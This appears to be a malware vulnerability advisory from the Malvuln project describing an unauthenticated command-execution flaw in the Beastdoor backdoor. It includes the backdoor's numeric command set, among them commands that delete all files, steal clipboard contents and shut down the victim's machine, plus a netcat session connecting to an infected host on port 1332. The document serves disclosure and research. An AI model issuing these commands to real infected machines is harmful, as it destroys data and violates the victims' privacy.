Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source:  
Threat: Backdoor.Win32.Beastdoor.oq  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can reach an infected host can issue various numeric commands made available by the backdoor.  
Family: Beastdoor  
Type: PE32  
MD5: 6268df4c9c805c90725dde4fe5ef6fea  
Vuln ID: MVID-2024-0674  
Dropped files: svchost.exe  
Disclosure: 03/09/2024  
27 return victims username and computer information  
5 or 19 will shutdown victims computer  
6 restart victims computer  
9 delete all files including program files  
16 victim computer screen goes black  
28 returns clipboard information  
30 terminates the backdoor and deletes it from the system  
C:\sec>nc64.exe x.x.x.x 1332  
VICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHzC:\WINDOWS\C:\WINDOWS\system32\1565 x 8302.01svchost.exe svchost.exe  
I dont like u  
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